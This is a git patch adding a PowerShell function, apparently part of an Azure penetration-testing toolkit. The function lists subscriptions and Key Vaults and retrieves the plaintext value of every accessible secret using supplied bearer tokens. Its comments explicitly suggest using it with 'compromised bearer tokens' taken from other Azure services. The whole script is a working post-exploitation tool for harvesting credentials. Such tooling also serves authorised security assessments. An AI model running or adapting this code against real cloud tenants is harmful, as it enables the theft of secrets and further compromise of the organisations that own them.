From 9c2750ea72b6ecd68805faedd744933ac35ea03d Mon Sep 17 00:00:00 2001
From: Karl Fosaaen <kfosaaen@gmail.com>
Date: Tue, 4 Aug 2020 16:30:57 -0700
Subject: [PATCH] Added Get-AzKeyVaultSecretsREST

REST API function to pull Key Vault secrets
---
 REST/Get-AzKeyVaultSecretsREST.ps1 | 103 +++++++++++++++++++++++++++++
 1 file changed, 103 insertions(+)
 create mode 100644 REST/Get-AzKeyVaultSecretsREST.ps1

diff --git a/REST/Get-AzKeyVaultSecretsREST.ps1 b/REST/Get-AzKeyVaultSecretsREST.ps1
new file mode 100644
index 0000000..aa6e568
--- /dev/null
+++ b/REST/Get-AzKeyVaultSecretsREST.ps1
@@ -0,0 +1,103 @@
+Function Get-AzKeyVaultSecretsREST
+{
+
+    # Author: Karl Fosaaen (@kfosaaen), NetSPI - 2020
+    # Description: PowerShell function for enumerating available Key Vault Secrets using Azure Bearer tokens and the REST APIs.
+    # Pipe to "Export-Csv -NoTypeInformation" for easier exporting
+    # Use the SubscriptionId and token parameters to specify bearer tokens and subscriptions, handy for compromised bearer tokens from other services (CloudShell/AutomationAccounts/AppServices)
+
+    [CmdletBinding()]
+    Param(
+        [Parameter(Mandatory=$false,
+        HelpMessage="Subscription ID")]
+        [string]$SubscriptionId,
+
+        [Parameter(Mandatory=$true,
+        HelpMessage="The management scoped token")]
+        [string]$managementToken,
+
+        [Parameter(Mandatory=$true,
+        HelpMessage="The KeyVault Scoped Token")]
+        [string]$vaultToken
+    )
+
+    # Sort out which subscription to list keys from
+    if ($SubscriptionId -eq ''){
+
+        # List all subscriptions for a tenant
+        $subscriptions = ((Invoke-WebRequest -Uri ('https://management.azure.com/subscriptions?api-version=2019-11-01') -Verbose:$false -Method GET -Headers @{ Authorization ="Bearer $managementToken"} -UseBasicParsing).content | ConvertFrom-Json).value
+
+        # Select which subscriptions to dump info for
+        $subChoice = $subscriptions | out-gridview -Title "Select One or More Subscriptions" -PassThru
+
+        if($subChoice.count -eq 0){Write-Verbose 'No subscriptions selected, exiting'; break}
+
+    }
+    else{$subChoice = $SubscriptionId; $noLoop = 1}
+
+    # Create data table to house results
+    $TempTbl = New-Object System.Data.DataTable 
+    $TempTbl.Columns.Add("SubscriptionName") | Out-Null
+    $TempTbl.Columns.Add("KeyVault") | Out-Null
+    $TempTbl.Columns.Add("SecretURL") | Out-Null
+    $TempTbl.Columns.Add("SecretType") | Out-Null
+    $TempTbl.Columns.Add("SecretValue") | Out-Null
+
+
+    # Iterate through each subscription and list keys
+    foreach($sub in $subChoice){
+
+        # If subs are chosen from a list, grab the Id
+        if($noLoop){}
+        else{$SubscriptionId = $sub.subscriptionId}
+
+        if($sub.displayName -ne $null){$subName = $sub.displayName; Write-Verbose "Gathering Key Vaults for the $subName subscription"}
+        else{
+            try {$subName = ((Invoke-WebRequest -Uri (-join ('https://management.azure.com/subscriptions/',$SubscriptionId,'?api-version=2019-11-01')) -Verbose:$false -Method GET -Headers @{ Authorization ="Bearer $managementToken"} -UseBasicParsing).Content | ConvertFrom-Json).displayName}
+            catch{$subName = "undetermined"}
+            Write-Verbose "Gathering storage accounts for the $subName subscription"
+        }
+
+
+        # Get List of Key Vaults
+        $responseKeys = ((Invoke-WebRequest -Uri (-join ('https://management.azure.com/subscriptions/',$SubscriptionId,"/providers/Microsoft.KeyVault/vaults?api-version=2019-09-01")) -Verbose:$false -Method GET -Headers @{ Authorization ="Bearer $managementToken"} -UseBasicParsing).Content | ConvertFrom-Json)
+        
+        # Keeping the second method of vault enumeration as a backup option
+        #$responseKeys = ((Invoke-WebRequest -Uri (-join ('https://management.azure.com/subscriptions/',$SubscriptionId,"/resources?`$filter=resourceType eq 'Microsoft.KeyVault/vaults'&api-version=2019-09-01")) -Verbose:$false -Method GET -Headers @{ Authorization ="Bearer $managementToken"} -UseBasicParsing).Content | ConvertFrom-Json)
+        
+        if ($responseKeys.value -ne $null){$keyVaults = $responseKeys.value}
+        else{$keyVaults = $null}
+
+
+        if($keyVaults -eq $null){Write-Verbose "`tNo Key Vaults enumerated for the $subName Subscription"}
+        else{
+            # Iterate through each available vault                        
+            foreach ($vault in $keyVaults){
+                $vaultName = $vault.name
+            
+                # Get Secrets
+                try{
+                    Write-Verbose "`tGetting Secrets for $vaultName"                
+                    $secretsList = ((Invoke-WebRequest -Uri (-join ('https://',$vault.name,'.vault.azure.net/secrets?api-version=7.0')) -Verbose:$false -Method GET -Headers @{ Authorization ="Bearer $vaultToken"} -UseBasicParsing).content | ConvertFrom-Json).value
+                
+                    # Get Values for each Secret
+                    $secretsList | ForEach-Object{
+                        $secretType = $_.contentType
+                        if($secretType -eq $null){$secretType = "No_Type_Set"}
+                        Write-Verbose "`t`tGetting a $secretType from $vaultName"
+
+                        $secretValue = ((Invoke-WebRequest -Uri (-join ($_.id,'?api-version=7.0')) -Verbose:$false -Method GET -Headers @{ Authorization ="Bearer $vaultToken"} -UseBasicParsing).content | ConvertFrom-Json)
+                    
+                        # Add the key to the table
+                        $TempTbl.Rows.Add($subName, $vaultName, $secretValue.id, $secretType, $secretValue.value) | Out-Null
+
+                    }
+                }
+                catch{Write-Verbose "`t`tCurrent token does not have secrets list permissions for this vault or secret"}        
+
+            }
+        }
+        $responseKeys = $null
+    }
+    Write-Output $TempTbl
+}
\ No newline at end of file